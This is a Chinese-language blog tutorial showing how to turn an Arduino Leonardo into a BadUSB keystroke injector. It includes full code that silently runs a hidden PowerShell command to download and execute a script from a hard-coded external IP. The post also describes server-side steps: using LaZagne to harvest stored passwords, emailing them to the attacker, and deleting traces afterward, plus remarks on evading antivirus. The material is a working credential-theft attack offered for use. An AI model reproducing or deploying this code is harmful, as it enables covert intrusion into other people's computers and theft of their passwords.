Badusb简介
BadUSB是USB的一款严重漏洞。攻击者可利用该缺陷,在有效且不被检测到的情况下,悄悄地植入恶意软件。利用原理
HID攻击
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
制作过程
Badusb淘宝上有已经做好的,只需要买来植入自己的代码即可。条件好的朋友可以买
usb Rubber Ducky--橡皮鸭。淘宝是880,hack5里面种类丰富一点,我农民只能用淘宝的了。
前期
先下载一个Arduino,
界面如下:
在插入badusb后,选择工具-->选择板-->选择
Arduino Leonardo
,把以下代码复制进去。
#include <Keyboard.h>
void setup() {//初始化 Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD"); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(3000); Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://114.67.129.199/main.ps1') "); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD"); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(3000); Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://114.67.129.199/main.ps1') "); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 }
这两个箭头分别是编译和上传。
下面就是服务端的设置了,代码是参考一篇博客的,但是他把exe换成rar,躲避杀软,可能是他的lazagne有问题吧,我测试没成功,用的是我自己上传的lazagne成功的。
文件下载地址:wing
下载这四个文件
中期--修改代码
在main.ps1文件中把打马赛克的地方换成你自己服务器ip
这里很重要,不然你做的功夫都是白费。
这里是你的邮件配置。System.Net.NetworkCredential函数里面填邮箱和密码。
GetPass.ps1
文件修改
打马赛克的地方需要修改
#remove-item 'D:\GetPass.txt'
#remove-item 'D:\Get.exe'
这两行代码我为了测试给注释了,意思就是执行成功后就remove。
测试
插入badusb
演示图太大传不上来,地址:https://mega.nz/#!9W5Q1TrJ!WLHLMIBL1VpOmLSEJmUmm6S1nof0QPMXwcL84uIiIfM
你看到一个黑窗口一闪而过就可以了。
执行后,我用wireshark抓包,确实在和我服务器通讯。
过了30s左右,我D盘出现了这两个东西。
最尬的一步就是最后发送email,应该是我邮箱那里配置出了问题,不知道是不是smtp587端口有问题,还在测试,买了两个badusb,有一个好像被我插坏了。QWQ!
下面是一些常用的键,可以自己diy设计出你想要的功能。
delay(5000);//延时毫秒
Keyboard.begin(); //开始键盘通讯 Keyboard.end(); //结束键盘通讯 Keyboard.press(); //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来 Keyboard.release(); //释放键盘按键 Keyboard.println(""); //输入字符串使用双引号括起来
Mouse.begin();//鼠标事件开始 Mouse.click();//鼠标单击 Mouse.end();//鼠标事件结束 Mouse.move();//鼠标移动(x,y) Mouse.press();//鼠标按下 Mouse.release();//鼠标松开 Mouse.isPressed();//
KEY_LEFT_CTRL KEY_LEFT_SHIFT KEY_LEFT_ALT KEY_LEFT_GUI //win键 KEY_RIGHT_CTRL KEY_RIGHT_SHIFT KEY_RIGHT_ALT KEY_RIGHT_GUI KEY_UP_ARROW KEY_DOWN_ARROW KEY_LEFT_ARROW KEY_RIGHT_ARROW KEY_BACKSPACE KEY_TAB KEY_RETURN//回车键 KEY_ESC KEY_INSERT KEY_DELETE KEY_PAGE_UP KEY_PAGE_DOWN KEY_HOME KEY_END KEY_CAPS_LOCK KEY_F1 KEY_F2 KEY_F3 KEY_F4 KEY_F5 KEY_F6 KEY_F7 KEY_F8 KEY_F9 KEY_F10 KEY_F11 KEY_F12